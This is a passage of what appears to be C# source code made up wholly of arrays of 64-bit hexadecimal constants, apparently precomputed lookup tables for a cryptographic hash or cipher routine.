0xEFA7221708405576L, 0x510771ECD88E543EL, 0xC2BA51CB671F043DL, 0x0AD482AC71AF5879L, 0xFE787A045CDAC936L, 0xB238AF338E049AEDL, 0xBD866CC94972EE26L, 0x615DA6EBBD810290L, 0x3295FDD08B2C1711L, 0xF834046073BF0AEAL, 0xF3099329758FFC42L, 0x1CAEB13E7DCFA934L, 0xBA2307481188832BL, 0x24EFCE42874CE65CL, 0x0E57D61FB0E9DA1AL, 0xB3D1BAD6F99B343CL, 0xC0757B1C893C4582L, 0x2B510DB8403A9297L, 0x5C7698C1F1DB614AL, 0x3E0D0118D5E68CB4L, 0xD60F488E855CB4CFL, 0xAE961E0DF3CB33D9L, 0x3A8E55AB14A00ED7L, 0x42170328623789C1L, 0x838B6DD19C946292L, 0x895FEF7DED3B3AEBL, 0xCFCBB8E64E4A3149L, 0x064C7E642F65C3DCL, 0x3D2B3E2A4C5A63DAL, 0x5BD3F340A9210C47L, 0xB474D157A1615931L, 0xAC5934DA1DE87266L, 0x6EE365117AF7765BL, 0xC86ED36716B05C44L, 0x9BA6885C201D49C5L, 0xB905387A88346C45L, 0x131072C4BAB9DDFFL, 0xBF49461EA751AF99L, 0xD52977BC1CE05BA1L, 0xB0F785E46027DB52L, 0x546D30BA6E57788CL, 0x305AD707650F56AEL, 0xC987C682612FF295L, 0xA5AB8944F5FBC571L, 0x7ED528E759F244CAL, 0x8DDCBBCE2C7DB888L, 0xAA154ABE328DB1BAL, 0x1E619BE993ECE88BL, 0x09F2BD9EE813B717L, 0x7401AA4B285D1CB3L, 0x21858F143195CAEEL, 0x48C381841398D1B8L, 0xFCB750D3B2F98889L, 0x39A86A998D1CE1B9L, 0x1F888E0CE473465AL, 0x7899568376978716L, 0x02CF2AD7EE2341BFL, 0x85C713B5B3F1A14EL, 0xFF916FE12B4567E7L, 0x7C1A0230B7D10575L, 0x0C98FCC85ECA9BA5L, 0xA3E7F720DA9E06ADL, 0x6A6031A2BBB1F438L, 0x973E74947ED7D260L, 0x2CF4663918C0FF9AL, 0x5F50A7F368678E24L, 0x34D983B4A449D4CDL, 0x68AF1B755592B587L, 0x7F3C3D022E6DEA1BL, 0xABFC5F5B45121F6BL, 0x0D71E92D29553574L, 0xDFFDF5106D4F03D8L, 0x081BA87B9F8C19C6L, 0xDB7EA1A3AC0981BBL, 0xBBCA12AD66172DFAL, 0x79704366010829C7L, 0x179326777BFF5F9CL, 0x0000000000000000L, 0xEB2476A4C906D715L, 0x724DD42F0738DF6FL, 0xB752EE6538DDB65FL, 0x37FFBC863DF53BA3L, 0x8EFA84FCB5C157E6L, 0xE9EB5C73272596AAL, 0x1B0BDABF2535C439L, 0x86E12C872A4D4E20L, 0x9969A28BCE3E087AL, 0xFAFB2EB79D9C4B55L, 0x056A4156B6D92CB2L, 0x5A3AE6A5DEBEA296L, 0x22A3B026A8292580L, 0x53C85B3B36AD1581L, 0xB11E900117B87583L, 0xC51F3A4A3FE56930L, 0xE019E1EDCF3621BDL, 0xEC811D2591FCBA18L, 0x445B7D4C4D524A1DL, 0xA8DA6069DCAEF005L, 0x58F5CC72309DE329L, 0xD4C062596B7FF570L, 0xCE22AD0339D59F98L, 0x591CD99747024DF8L, 0x8B90C5AA03187B54L, 0xF663D27FC356D0F0L, 0xD8589E9135B56ED5L, 0x35309651D3D67A1CL, 0x12F96721CD26732EL, 0xD28C1C3D441A36ACL, 0x492A946164077F69L, 0x2D1D73DC6F5F514BL, 0x6F0A70F40D68D88AL, 0x60B4B30ECA1EAC41L, 0xD36509D83385987DL, 0x0B3D97490630F6A8L, 0x9ECCC90A96C46577L, 0xA20EE2C5AD01A87CL, 0xE49AB55E0E70A3DEL, 0xA4429CA182646BA0L, 0xDA97B446DB962F6AL, 0xCCED87D4D7F6DE27L, 0x2AB8185D37A53C46L, 0x9F25DCEFE15BCBA6L, 0xC19C6EF9FEA3EB53L, 0xA764A3931BD884CEL, 0x2FD2590B817C10F4L, 0x56A21A6D80743933L, 0xE573A0BB79EF0D0FL, 0x155C0CA095DC1E23L, 0x6C2C4FC694D437E4L, 0x10364DF623053291L, 0xDD32DFC7836C4267L, 0x03263F3299BCEF6EL, 0x66F8CD6AE57B6F9DL, 0x8C35AE2B5BE21659L, 0x31B3C2E21290F87FL, 0x93BD2027BF915003L, 0x69460E90220D1B56L, 0x299E276FAE19D328L, 0x63928C3C53A2432FL, 0x7082FEF8E91B9ED0L, 0xBC6F792C3EED40F7L, 0x4C40D537D2DE53DBL, 0x75E8BFAE5FC2B262L, 0x4DA9C0D2A541FD0AL, 0x4E8FFFE03CFD1264L, 0x2620E495696FA7E3L, 0xE1F0F408B8A98F6CL, 0xD1AA230FDDA6D9C2L, 0xC7D0109DD1C6288FL, 0x8A79D04F7487D585L, 0x4694579BA3710BA2L, 0x38417F7CFA834F68L, 0x1D47A4DB0A5007E5L, 0x206C9AF1460A643FL, 0xA128DDF734BD4712L, 0x8144470672B7232DL, 0xF2E086CC02105293L, 0x182DE58DBC892B57L, 0xCAA1F9B0F8931DFBL, 0x6B892447CC2E5AE9L, 0xF9DD11850420A43BL, 0x4BE5BEB68A243ED6L, 0x5584255F19C8D65DL, 0x3B67404E633FA006L, 0xA68DB6766C472A1FL, 0xF78AC79AB4C97E21L, 0xC353442E1080AAECL, 0x9A4F9DB95782E714L }, new ulong[] { 0x05BA7BC82C9B3220L, 0x31A54665F8B65E4FL, 0xB1B651F77547F4D4L, 0x8BFA0D857BA46682L, 0x85A96C5AA16A98BBL, 0x990FAEF908EB79C9L, 0xA15E37A247F4A62DL, 0x76857DCD5D27741EL, 0xF8C50B800A1820BCL, 0xBE65DCB201F7A2B4L, 0x666D1B986F9426E7L, 0x4CC921BF53C4E648L, 0x95410A0F93D9CA42L, 0x20CDCCAA647BA4EFL, 0x429A4060890A1871L, 0x0C4EA4F69B32B38BL, 0xCCDA362DDE354CD3L, 0x96DC23BC7C5B2FA9L, 0xC309BB68AA851AB3L, 0xD26131A73648E013L, 0x021DC52941FC4DB2L, 0xCD5ADAB7704BE48AL, 0xA77965D984ED71E6L, 0x32386FD61734BBA4L, 0xE82D6DD538AB7245L, 0x5C2147EA6177B4B1L, 0x5DA1AB70CF091CE8L, 0xAC907FCE72B8BDFFL, 0x57C85DFD972278A8L, 0xA4E44C6A6B6F940DL, 0x3851995B4F1FDFE4L, 0x62578CCAED71BC9EL, 0xD9882BB0C01D2C0AL, 0x917B9D5D113C503BL, 0xA2C31E11A87643C6L, 0xE463C923A399C1CEL, 0xF71686C57EA876DCL, 0x87B4A973E096D509L, 0xAF0D567D9D3A5814L, 0xB40C2A3F59DCC6F4L, 0x3602F88495D121DDL, 0xD3E1DD3D9836484AL, 0xF945E71AA46688E5L, 0x7518547EB2A591F5L, 0x9366587450C01D89L, 0x9EA81018658C065BL, 0x4F54080CBC4603A3L, 0x2D0384C65137BF3DL, 0xDC325078EC861E2AL, 0xEA30A8FC79573FF7L, 0x214D2030CA050CB6L, 0x65F0322B8016C30CL, 0x69BE96DD1B247087L, 0xDB95EE9981E161B8L, 0xD1FC1814D9CA05F8L, 0x820ED2BBCC0DE729L, 0x63D76050430F14C7L, 0x3BCCB0E8A09D3A0FL, 0x8E40764D573F54A2L, 0x39D175C1E16177BDL, 0x12F5A37C734F1F4BL, 0xAB37C12F1FDFC26DL, 0x5648B167395CD0F1L, 0x6C04ED1537BF42A7L, 0xED97161D14304065L, 0x7D6C67DAAB72B807L, 0xEC17FA87BA4EE83CL, 0xDFAF79CB0304FBC1L, 0x733F060571BC463EL, 0x78D61C1287E98A27L, 0xD07CF48E77B4ADA1L, 0xB9C262536C90DD26L, 0xE2449B5860801605L, 0x8FC09AD7F941FCFBL, 0xFAD8CEA94BE46D0EL, 0xA343F28B0608EB9FL, 0x9B126BD04917347BL, 0x9A92874AE7699C22L, 0x1B017C42C4E69EE0L, 0x3A4C5C720EE39256L, 0x4B6E9F5E3EA399DAL, 0x6BA353F45AD83D35L, 0xE7FEE0904C1B2425L, 0x22D009832587E95DL, 0x842980C00F1430E2L, 0xC6B3C0A0861E2893L, 0x087433A419D729F2L, 0x341F3DADD42D6C6FL, 0xEE0A3FAEFBB2A58EL, 0x4AEE73C490DD3183L, 0xAAB72DB5B1A16A34L, 0xA92A04065E238FDFL, 0x7B4B35A1686B6FCCL, 0x6A23BF6EF4A6956CL, 0x191CB96B851AD352L, 0x55D598D4D6DE351AL, 0xC9604DE5F2AE7EF3L, 0x1CA6C2A3A981E172L, 0xDE2F9551AD7A5398L, 0x3025AAFF56C8F616L, 0x15521D9D1E2860D9L, 0x506FE31CFA45073AL, 0x189C55F12B647B0BL, 0x0180EC9AAE7EA859L, 0x7CEC8B40050C105EL, 0x2350E5198BF94104L, 0xEF8AD33455CC0DD7L, 0x07A7BEE16D677F92L, 0xE5E325B90DE76997L, 0x5A061591A26E637AL, 0xB611EF1618208B46L, 0x09F4DF3EB7A981ABL, 0x1EBB078AE87DACC0L, 0xB791038CB65E231FL, 0x0FD38D4574B05660L, 0x67EDF702C1EA8EBEL, 0xBA5F4BE0831238CDL, 0xE3C477C2CEFEBE5CL, 0x0DCE486C354C1BD2L, 0x8C5DB36416C31910L, 0x26EA9ED1A7627324L, 0x039D29B3EF82E5EBL, 0x9F28FC82CBF2AE02L, 0xA8AAE89CF05D2786L, 0x431AACFA2774B028L, 0xCF471F9E31B7A938L, 0x581BD0B8E3922EC8L, 0xBC78199B400BEF06L, 0x90FB71C7BF42F862L, 0x1F3BEB1046030499L, 0x683E7A47B55AD8DEL, 0x988F4263A695D190L, 0xD808C72A6E638453L, 0x0627527BC319D7CBL, 0xEBB04466D72997AEL, 0xE67E0C0AE2658C7CL, 0x14D2F107B056C880L, 0x7122C32C30400B8CL, 0x8A7AE11FD5DACEDBL, 0xA0DEDB38E98A0E74L, 0xAD109354DCC615A6L, 0x0BE91A17F655CC19L, 0x8DDD5FFEB8BDB149L, 0xBFE53028AF890AEDL, 0xD65BA6F5B4AD7A6AL, 0x7956F0882997227EL, 0x10E8665532B352F9L, 0x0E5361DFDACEFE39L, 0xCEC7F3049FC90161L, 0xFF62B561677F5F2EL, 0x975CCF26D22587F0L, 0x51EF0F86543BAF63L, 0x2F1E41EF10CBF28FL, 0x52722635BBB94A88L, 0xAE8DBAE73344F04DL, 0x410769D36688FD9AL, 0xB3AB94DE34BBB966L, 0x801317928DF1AA9BL, 0xA564A0F0C5113C54L, 0xF131D4BEBDB1A117L, 0x7F71A2F3EA8EF5B5L, 0x40878549C8F655C3L, 0x7EF14E6944F05DECL, 0xD44663DCF55137D8L, 0xF2ACFD0D523344FCL, 0x0000000000000000L, 0x5FBC6E598EF5515AL, 0x16CF342EF1AA8532L, 0xB036BD6DDB395C8DL, 0x13754FE6DD31B712L, 0xBBDFA77A2D6C9094L, 0x89E7C8AC3A582B30L, 0x3C6B0E09CDFA459DL, 0xC4AE0589C7E26521L, 0x49735A777F5FD468L, 0xCAFD64561D2C9B18L, 0xDA1502032F9FC9E1L, 0x8867243694268369L, 0x3782141E3BAF8984L, 0x9CB5D53124704BE9L, 0xD7DB4A6F1AD3D233L, 0xA6F989432A93D9BFL, 0x9D3539AB8A0EE3B0L, 0x53F2CAAF15C7E2D1L, 0x6E19283C76430F15L, 0x3DEBE2936384EDC4L, 0x5E3C82C3208BF903L, 0x33B8834CB94A13FDL, 0x6470DEB12E686B55L, 0x359FD1377A53C436L, 0x61CAA57902F35975L, 0x043A975282E59A79L, 0xFD7F70482683129CL, 0xC52EE913699CCD78L, 0x28B9FF0E7DAC8D1DL, 0x5455744E78A09D43L, 0xCB7D88CCB3523341L, 0x44BD121B4A13CFBAL, 0x4D49CD25FDBA4E11L, 0x3E76CB208C06082FL, 0x3FF627BA2278A076L, 0xC28957F204FBB2EAL, 0x453DFE81E46D67E3L, 0x94C1E6953DA7621BL, 0x2C83685CFF491764L, 0xF32C1197FC4DECA5L, 0x2B24D6BD922E68F6L, 0xB22B78449AC5113FL, 0x48F3B6EDD1217C31L, 0x2E9EAD75BEB55AD6L, 0x174FD8B45FD42D6BL, 0x4ED4E4961238ABFAL, 0x92E6B4EEFEBEB5D0L, 0x46A0D7320BEF8208L, 0x47203BA8A5912A51L, 0x24F75BF8E69E3E96L, 0xF0B1382413CF094EL, 0xFEE259FBC901F777L, 0x276A724B091CDB7DL, 0xBDF8F501EE75475FL, 0x599B3C224DEC8691L, 0x6D84018F99C1EAFEL, 0x7498B8E41CDB39ACL, 0xE0595E71217C5BB7L, 0x2AA43A273C50C0AFL, 0xF50B43EC3F543B6EL, 0x838E3E2162734F70L, 0xC09492DB4507FF58L, 0x72BFEA9FDFC2EE67L, 0x11688ACF9CCDFAA0L, 0x1A8190D86A9836B9L, 0x7ACBD93BC615C795L, 0xC7332C3A286080CAL, 0x863445E94EE87D50L, 0xF6966A5FD0D6DE85L, 0xE9AD814F96D5DA1CL, 0x70A22FB69E3EA3D5L, 0x0A69F68D582B6440L, 0xB8428EC9C2EE757FL, 0x604A49E3AC8DF12CL, 0x5B86F90B0C10CB23L, 0xE1D9B2EB8F02F3EEL, 0x29391394D3D22544L, 0xC8E0A17F5CD0D6AAL, 0xB58CC6A5F7A26EADL, 0x8193FB08238F02C2L, 0xD5C68F465B2F9F81L, 0xFCFF9CD288FDBAC5L, 0x77059157F359DC47L, 0x1D262E3907FF492BL, 0xFB582233E59AC557L, 0xDDB2BCE242F8B673L, 0x2577B76248E096CFL, 0x6F99C4A6D83DA74CL, 0xC1147E41EB795701L, 0xF48BAF76912A9337L }, new ulong[] { 0x3EF29D249B2C0A19L, 0xE9E16322B6F8622FL, 0x5536994047757F7AL, 0x9F4D56D5A47B0B33L, 0x822567466AA1174CL, 0xB8F5057DEB082FB2L, 0xCC48C10BF4475F53L, 0x373088D4275DEC3AL, 0x968F4325180AED10L, 0x173D232CF7016151L, 0xAE4ED09F946FCC13L, 0xFD4B4741C4539873L, 0x1B5B3F0DD9933765L, 0x2FFCB0967B644052L, 0xE02376D20A89840CL, 0xA3AE3A70329B18D7L, 0x419CBD2335DE8526L, 0xFAFEBF115B7C3199L, 0x0397074F85AA9B0DL, 0xC58AD4FB4836B970L, 0xBEC60BE3FC4104A8L, 0x1EFF36DC4B708772L, 0x131FDC33ED8453B6L, 0x0844E33E341764D3L, 0x0FF11B6EAB38CD39L, 0x64351F0A7761B85AL, 0x3B5694F509CFBA0EL, 0x30857084B87245D0L, 0x47AFB3BD2297AE3CL, 0xF2BA5C2F6F6B554AL, 0x74BDC4761F4F70E1L, 0xCFDFC64471EDC45EL, 0xE610784C1DC0AF16L, 0x7ACA29D63C113F28L, 0x2DED411776A859AFL, 0xAC5F211E99A3D5EEL, 0xD484F949A87EF33BL, 0x3CE36CA596E013E4L, 0xD120F0983A9D432CL, 0x6BC40464DC597563L, 0x69D5F5E5D1956C9EL, 0x9AE95F043698BB24L, 0xC9ECC8DA66A4EF44L, 0xD69508C8A5B2EAC6L, 0xC40C2235C0503B80L, 0x38C193BA8C652103L, 0x1CEEC75D46BC9E8FL, 0xD331011937515AD1L, 0xD8E2E56886ECA50FL, 0xB137108D5779C991L, 0x709F3B6905CA4206L, 0x4FEB50831680CAEFL, 0xEC456AF3241BD238L, 0x58D673AFE181ABBEL, 0x242F54E7CAD9BF8CL, 0x0211F1810DCC19FDL, 0x90BC4DBB0F43C60AL, 0x9518446A9DA0761DL, 0xA1BFCBF13F57012AL, 0x2BDE4F8961E172B5L, 0x27B853A84F732481L, 0xB0B1E643DF1F4B61L, 0x18CC38425C39AC68L, 0xD2B7F7D7BF37D821L, 0x3103864A3014C720L, 0x14AA246372ABFA5CL, 0x6E600DB54EBAC574L, 0x394765740403A3F3L, 0x09C215F0BC71E623L, 0x2A58B947E987F045L, 0x7B4CDF18B477BDD8L, 0x9709B5EB906C6FE0L, 0x73083C268060D90BL, 0xFEDC400E41F9037EL, 0x284948C6E44BE9B8L, 0x728ECAE808065BFBL, 0x06330E9E17492B1AL, 0x5950856169E7294EL, 0xBAE4F4FCE6C4364FL, 0xCA7BCF95E30E7449L, 0x7D7FD186A33E96C2L, 0x52836110D85AD690L, 0x4DFAA1021B4CD312L, 0x913ABB75872544FAL, 0xDD46ECB9140F1518L, 0x3D659A6B1E869114L, 0xC23F2CABD719109AL, 0xD713FE062DD46836L, 0xD0A60656B2FBC1DCL, 0x221C5A79DD909496L, 0xEFD26DBCA1B14935L, 0x0E77EDA0235E4FC9L, 0xCBFD395B6B68F6B9L, 0x0DE0EAEFA6F4D4C4L, 0x0422FF1F1A8532E7L, 0xF969B85EDED6AA94L, 0x7F6E2007AEF28F3FL, 0x3AD0623B81A938FEL, 0x6624EE8B7AADA1A7L, 0xB682E8DDC856607BL, 0xA78CC56F281E2A30L, 0xC79B257A45FAA08DL, 0x5B4174E0642B30B3L, 0x5F638BFF7EAE0254L, 0x4BC9AF9C0C05F808L, 0xCE59308AF98B46AEL, 0x8FC58DA9CC55C388L, 0x803496C7676D0EB1L, 0xF33CAAE1E70DD7BAL, 0xBB6202326EA2B4BFL, 0xD5020F87201871CBL, 0x9D5CA754A9B712CEL, 0x841669D87DE83C56L, 0x8A6184785EB6739FL, 0x420BBA6CB0741E2BL, 0xF12D5B60EAC1CE47L, 0x76AC35F71283691CL, 0x2C6BB7D9FECEDB5FL, 0xFCCDB18F4C351A83L, 0x1F79C012C3160582L, 0xF0ABADAE62A74CB7L, 0xE1A5801C82EF06FCL, 0x67A21845F2CB2357L, 0x5114665F5DF04D9DL, 0xBF40FD2D74278658L, 0xA0393D3FB73183DAL, 0x05A409D192E3B017L, 0xA9FB28CF0B4065F9L, 0x25A9A22942BF3D7CL, 0xDB75E22703463E02L, 0xB326E10C5AB5D06CL, 0xE7968E8295A62DE6L, 0xB973F3B3636EAD42L, 0xDF571D3819C30CE5L, 0xEE549B7229D7CBC5L, 0x12992AFD65E2D146L, 0xF8EF4E9056B02864L, 0xB7041E134030E28BL, 0xC02EDD2ADAD50967L, 0x932B4AF48AE95D07L, 0x6FE6FB7BC6DC4784L, 0x239AACB755F61666L, 0x401A4BEDBDB807D6L, 0x485EA8D389AF6305L, 0xA41BC220ADB4B13DL, 0x753B32B89729F211L, 0x997E584BB3322029L, 0x1D683193CEDA1C7FL, 0xFF5AB6C0C99F818EL, 0x16BBD5E27F67E3A1L, 0xA59D34EE25D233CDL, 0x98F8AE853B54A2D9L, 0x6DF70AFACB105E79L, 0x795D2E99B9BBA425L, 0x8E437B6744334178L, 0x0186F6CE886682F0L, 0xEBF092A3BB347BD2L, 0xBCD7FA62F18D1D55L, 0xADD9D7D011C5571EL, 0x0BD3E471B1BDFFDEL, 0xAA6C2F808EEAFEF4L, 0x5EE57D31F6C880A4L, 0xF50FA47FF044FCA0L, 0x1ADDC9C351F5B595L, 0xEA76646D3352F922L, 0x0000000000000000L, 0x85909F16F58EBEA6L, 0x46294573AAF12CCCL, 0x0A5512BF39DB7D2EL, 0x78DBD85731DD26D5L, 0x29CFBE086C2D6B48L, 0x218B5D36583A0F9BL, 0x152CD2ADFACD78ACL, 0x83A39188E2C795BCL, 0xC3B9DA655F7F926AL, 0x9ECBA01B2C1D89C3L, 0x07B5F8509F2FA9EAL, 0x7EE8D6C926940DCFL, 0x36B67E1AAF3B6ECAL, 0x86079859702425ABL, 0xFB7849DFD31AB369L, 0x4C7C57CC932A51E2L, 0xD96413A60E8A27FFL, 0x263EA566C715A671L, 0x6C71FC344376DC89L, 0x4A4F595284637AF8L, 0xDAF314E98B20BCF2L, 0x572768C14AB96687L, 0x1088DB7C682EC8BBL, 0x887075F9537A6A62L, 0x2E7A4658F302C2A2L, 0x619116DBE582084DL, 0xA87DDE018326E709L, 0xDCC01A779C6997E8L, 0xEDC39C3DAC7D50C8L, 0xA60A33A1A078A8C0L, 0xC1A82BE452B38B97L, 0x3F746BEA134A88E9L, 0xA228CCBEBAFD9A27L, 0xABEAD94E068C7C04L, 0xF48952B178227E50L, 0x5CF48CB0FB049959L, 0x6017E0156DE48ABDL, 0x4438B4F2A73D3531L, 0x8C528AE649FF5885L, 0xB515EF924DFCFB76L, 0x0C661C212E925634L, 0xB493195CC59A7986L, 0x9CDA519A21D1903EL, 0x32948105B5BE5C2DL, 0x194ACE8CD45F2E98L, 0x438D4CA238129CDBL, 0x9B6FA9CABEFE39D4L, 0x81B26009EF0B8C41L, 0xDED1EBF691A58E15L, 0x4E6DA64D9EE6481FL, 0x54B06F8ECF13FD8AL, 0x49D85E1D01C9E1F5L, 0xAFC826511C094EE3L, 0xF698A33075EE67ADL, 0x5AC7822EEC4DB243L, 0x8DD47C28C199DA75L, 0x89F68337DB1CE892L, 0xCDCE37C57C21DDA3L, 0x530597DE503C5460L, 0x6A42F2AA543FF793L, 0x5D727A7E73621BA9L, 0xE232875307459DF1L, 0x56A19E0FC2DFE477L, 0xC61DD3B4CD9C227DL, 0xE5877F03986A341BL, 0x949EB2A415C6F4EDL, 0x6206119460289340L, 0x6380E75AE84E11B0L, 0x8BE772B6D6D0F16FL, 0x50929091D596CF6DL, 0xE86795EC3E9EE0DFL, 0x7CF927482B581432L, 0xC86A3E14EEC26DB4L, 0x7119CDA78DACC0F6L, 0xE40189CD100CB6EBL, 0x92ADBC3A028FDFF7L, 0xB2A017C2D2D3529CL, 0x200DABF8D05C8D6BL, 0x34A78F9BA2F77737L, 0xE3B4719D8F231F01L, 0x45BE423C2F5BB7C1L, 0xF71E55FEFD88E55DL, 0x6853032B59F3EE6EL, 0x65B3E9C4FF073AAAL, 0x772AC3399AE5EBECL, 0x87816E97F842A75BL, 0x110E2DB2E0484A4BL, 0x331277CB3DD8DEDDL, 0xBD510CAC79EB9FA5L, 0x352179552A91F5C7L }, new ulong[] { 0x8AB0A96846E06A6DL, 0x43C7E80B4BF0B33AL, 0x08C9B3546B161EE5L, 0x39F1C235EBA990BEL, 0xC1BEF2376606C7B2L, 0x2C209233614569AAL, 0xEB01523B6FC3289AL, 0x946953AB935ACEDDL, 0x272838F63E13340EL, 0x8B0455ECA12BA052L, 0x77A1B2C4978FF8A2L, 0xA55122CA13E54086L, 0x2276135862D3F1CDL, 0xDB8DDFDE08B76CFEL, 0x5D1E12C89E4A178AL, 0x0E56816B03969867L, 0xEE5F79953303ED59L, 0xAFED748BAB78D71DL, 0x6D929F2DF93E53EEL, 0xF5D8A8F8BA798C2AL, 0xF619B1698E39CF6BL, 0x95DDAF2F749104E2L, 0xEC2A9C80E0886427L, 0xCE5C8FD8825B95EAL, 0xC4E0D9993AC60271L, 0x4699C3A5173076F9L, 0x3D1B151F50A29F42L, 0x9ED505EA2BC75946L, 0x34665ACFDC7F4B98L, 0x61B1FB53292342F7L, 0xC721C0080E864130L, 0x8693CD1696FD7B74L, 0x872731927136B14BL, 0xD3446C8A63A1721BL, 0x669A35E8A6680E4AL, 0xCAB658F239509A16L, 0xA4E5DE4EF42E8AB9L, 0x37A7435EE83F08D9L, 0x134E6239E26C7F96L, 0x82791A3C2DF67488L, 0x3F6EF00A8329163CL, 0x8E5A7E42FDEB6591L, 0x5CAAEE4C7981DDB5L, 0x19F234785AF1E80DL, 0x255DDDE3ED98BD70L, 0x50898A32A99CCCACL, 0x28CA4519DA4E6656L, 0xAE59880F4CB31D22L, 0x0D9798FA37D6DB26L, 0x32F968F0B4FFCD1AL, 0xA00F09644F258545L, 0xFA3AD5175E24DE72L, 0xF46C547C5DB24615L, 0x713E80FBFF0F7E20L, 0x7843CF2B73D2AAFAL, 0xBD17EA36AEDF62B4L, 0xFD111BACD16F92CFL, 0x4ABAA7DBC72D67E0L, 0xB3416B5DAD49FAD3L, 0xBCA316B24914A88BL, 0x15D150068AECF914L, 0xE27C1DEBE31EFC40L, 0x4FE48C759BEDA223L, 0x7EDCFD141B522C78L, 0x4E5070F17C26681CL, 0xE696CAC15815F3BCL, 0x35D2A64B3BB481A7L, 0x800CFF29FE7DFDF6L, 0x1ED9FAC3D5BAA4B0L, 0x6C2663A91EF599D1L, 0x03C1199134404341L, 0xF7AD4DED69F20554L, 0xCD9D9649B61BD6ABL, 0xC8C3BDE7EADB1368L, 0xD131899FB02AFB65L, 0x1D18E352E1FAE7F1L, 0xDA39235AEF7CA6C1L, 0xA1BBF5E0A8EE4F7AL, 0x91377805CF9A0B1EL, 0x3138716180BF8E5BL, 0xD9F83ACBDB3CE580L, 0x0275E515D38B897EL, 0x472D3F21F0FBBCC6L, 0x2D946EB7868EA395L, 0xBA3C248D21942E09L, 0xE7223645BFDE3983L, 0xFF64FEB902E41BB1L, 0xC97741630D10D957L, 0xC3CB1722B58D4ECCL, 0xA27AEC719CAE0C3BL, 0x99FECB51A48C15FBL, 0x1465AC826D27332BL, 0xE1BD047AD75EBF01L, 0x79F733AF941960C5L, 0x672EC96C41A3C475L, 0xC27FEBA6524684F3L, 0x64EFD0FD75E38734L, 0xED9E60040743AE18L, 0xFB8E2993B9EF144DL, 0x38453EB10C625A81L, 0x6978480742355C12L, 0x48CF42CE14A6EE9EL, 0x1CAC1FD606312DCEL, 0x7B82D6BA4792E9BBL, 0x9D141C7B1F871A07L, 0x5616B80DC11C4A2EL, 0xB849C198F21FA777L, 0x7CA91801C8D9A506L, 0xB1348E487EC273ADL, 0x41B20D1E987B3A44L, 0x7460AB55A3CFBBE3L, 0x84E628034576F20AL, 0x1B87D16D897A6173L, 0x0FE27DEFE45D5258L, 0x83CDE6B8CA3DBEB7L, 0x0C23647ED01D1119L, 0x7A362A3EA0592384L, 0xB61F40F3F1893F10L, 0x75D457D1440471DCL, 0x4558DA34237035B8L, 0xDCA6116587FC2043L, 0x8D9B67D3C9AB26D0L, 0x2B0B5C88EE0E2517L, 0x6FE77A382AB5DA90L, 0x269CC472D9D8FE31L, 0x63C41E46FAA8CB89L, 0xB7ABBC771642F52FL, 0x7D1DE4852F126F39L, 0xA8C6BA3024339BA0L, 0x600507D7CEE888C8L, 0x8FEE82C61A20AFAEL, 0x57A2448926D78011L, 0xFCA5E72836A458F0L, 0x072BCEBB8F4B4CBDL, 0x497BBE4AF36D24A1L, 0x3CAFE99BB769557DL, 0x12FA9EBD05A7B5A9L, 0xE8C04BAA5B836BDBL, 0x4273148FAC3B7905L, 0x908384812851C121L, 0xE557D3506C55B0FDL, 0x72FF996ACB4F3D61L, 0x3EDA0C8E64E2DC03L, 0xF0868356E6B949E9L, 0x04EAD72ABB0B0FFCL, 0x17A4B5135967706AL, 0xE3C8E16F04D5367FL, 0xF84F30028DAF570CL, 0x1846C8FCBD3A2232L, 0x5B8120F7F6CA9108L, 0xD46FA231ECEA3EA6L, 0x334D947453340725L, 0x58403966C28AD249L, 0xBED6F3A79A9F21F5L, 0x68CCB483A5FE962DL, 0xD085751B57E1315AL, 0xFED0023DE52FD18EL, 0x4B0E5B5F20E6ADDFL, 0x1A332DE96EB1AB4CL, 0xA3CE10F57B65C604L, 0x108F7BA8D62C3CD7L, 0xAB07A3A11073D8E1L, 0x6B0DAD1291BED56CL, 0xF2F366433532C097L, 0x2E557726B2CEE0D4L, 0x0000000000000000L, 0xCB02A476DE9B5029L, 0xE4E32FD48B9E7AC2L, 0x734B65EE2C84F75EL, 0x6E5386BCCD7E10AFL, 0x01B4FC84E7CBCA3FL, 0xCFE8735C65905FD5L, 0x3613BFDA0FF4C2E6L, 0x113B872C31E7F6E8L, 0x2FE18BA255052AEBL, 0xE974B72EBC48A1E4L, 0x0ABC5641B89D979BL, 0xB46AA5E62202B66EL, 0x44EC26B0C4BBFF87L, 0xA6903B5B27A503C7L, 0x7F680190FC99E647L, 0x97A84A3AA71A8D9CL, 0xDD12EDE16037EA7CL, 0xC554251DDD0DC84EL, 0x88C54C7D956BE313L, 0x4D91696048662B5DL, 0xB08072CC9909B992L, 0xB5DE5962C5C97C51L, 0x81B803AD19B637C9L, 0xB2F597D94A8230ECL, 0x0B08AAC55F565DA4L, 0xF1327FD2017283D6L, 0xAD98919E78F35E63L, 0x6AB9519676751F53L, 0x24E921670A53774FL, 0xB9FD3D1C15D46D48L, 0x92F66194FBDA485FL, 0x5A35DC7311015B37L, 0xDED3F4705477A93DL, 0xC00A0EB381CD0D8DL, 0xBB88D809C65FE436L, 0x16104997BEACBA55L, 0x21B70AC95693B28CL, 0x59F4C5E225411876L, 0xD5DB5EB50B21F499L, 0x55D7A19CF55C096FL, 0xA97246B4C3F8519FL, 0x8552D487A2BD3835L, 0x54635D181297C350L, 0x23C2EFDC85183BF2L, 0x9F61F96ECC0C9379L, 0x534893A39DDC8FEDL, 0x5EDF0B59AA0A54CBL, 0xAC2C6D1A9F38945CL, 0xD7AEBBA0D8AA7DE7L, 0x2ABFA00C09C5EF28L, 0xD84CC64F3CF72FBFL, 0x2003F64DB15878B3L, 0xA724C7DFC06EC9F8L, 0x069F323F68808682L, 0xCC296ACD51D01C94L, 0x055E2BAE5CC0C5C3L, 0x6270E2C21D6301B6L, 0x3B842720382219C0L, 0xD2F0900E846AB824L, 0x52FC6F277A1745D2L, 0xC6953C8CE94D8B0FL, 0xE009F8FE3095753EL, 0x655B2C7992284D0BL, 0x984A37D54347DFC4L, 0xEAB5AEBF8808E2A5L, 0x9A3FD2C090CC56BAL, 0x9CA0E0FFF84CD038L, 0x4C2595E4AFADE162L, 0xDF6708F4B3BC6302L, 0xBF620F237D54EBCAL, 0x93429D101C118260L, 0x097D4FD08CDDD4DAL, 0x8C2F9B572E60ECEFL, 0x708A7C7F18C4B41FL, 0x3A30DBA4DFE9D3FFL, 0x4006F19A7FB0F07BL, 0x5F6BF7DD4DC19EF4L, 0x1F6D064732716E8FL, 0xF9FBCC866A649D33L, 0x308C8DE567744464L, 0x8971B0F972A0292CL, 0xD61A47243F61B7D8L, 0xEFEB8511D4C82766L, 0x961CB6BE40D147A3L, 0xAAB35F25F7B812DEL, 